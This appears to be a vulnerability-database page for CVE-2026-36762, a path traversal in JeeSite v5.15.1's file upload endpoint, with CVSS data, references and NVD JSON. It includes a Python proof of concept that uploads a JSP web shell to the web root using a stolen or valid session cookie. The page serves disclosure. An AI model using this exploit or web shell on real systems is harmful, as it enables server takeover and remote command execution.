CVE-2026-36762

Description

An issue in the fileEntityId parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authenticated attackers with file upload permissions to execute a path traversal and write arbitrary files with whitelisted suffixes to arbitrary filesystem locations.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

JeeSite v5.15.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

def upload_malicious_file(target_url, session_cookie):
    """
    PoC for CVE-2026-36762: Path Traversal via fileEntityId in JeeSite.
    Note: Requires authentication and file upload permissions.
    """
    headers = {
        "Cookie": session_cookie
    }
    
    # Target endpoint
    upload_url = f"{target_url}/a/file/upload"
    
    # Path traversal payload in the fileEntityId parameter
    # Attempting to write a JSP shell to the web root
    traversal_payload = "../../webapps/ROOT/shell.jsp"
    
    # File content (simple JSP web shell)
    file_content = "<%@ page import='java.io.*' %><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"
    
    files = {
        # The file extension must be whitelisted (e.g., .jsp, .jpg)
        'file': ('shell.jsp', file_content, 'application/octet-stream')
    }
    
    data = {
        'fileEntityId': traversal_payload
    }
    
    try:
        response = requests.post(upload_url, headers=headers, files=files, data=data)
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if the file was written.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
    except Exception as e:
        print(f"[-] An error occurred: {e}")

# Usage:
# target = "http://localhost:8080"
# cookie = "JSESSIONID=..."
# upload_malicious_file(target, cookie)

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36762
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36762
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36762/
[4] VulDB https://vuldb.com/cve/CVE-2026-36762
[5] https://github.com/thinkgem/jeesite
[6] https://github.com/thinkgem/jeesite/issues/529
[7] https://github.com/thinkgem/jeesite/issues/529

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36762", "sourceIdentifier": "[email protected]", "published": "2026-04-30T18:16:29.263", "lastModified": "2026-05-04T18:16:28.487", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in the fileEntityId parameter in the /a/file/upload endpoint of JeeSite v5.15.1 allows authenticated attackers with file upload permissions to execute a path traversal and write arbitrary files with whitelisted suffixes to arbitrary filesystem locations."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/thinkgem/jeesite", "source": "[email protected]"}, {"url": "https://github.com/thinkgem/jeesite/issues/529", "source": "[email protected]"}, {"url": "https://github.com/thinkgem/jeesite/issues/529", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}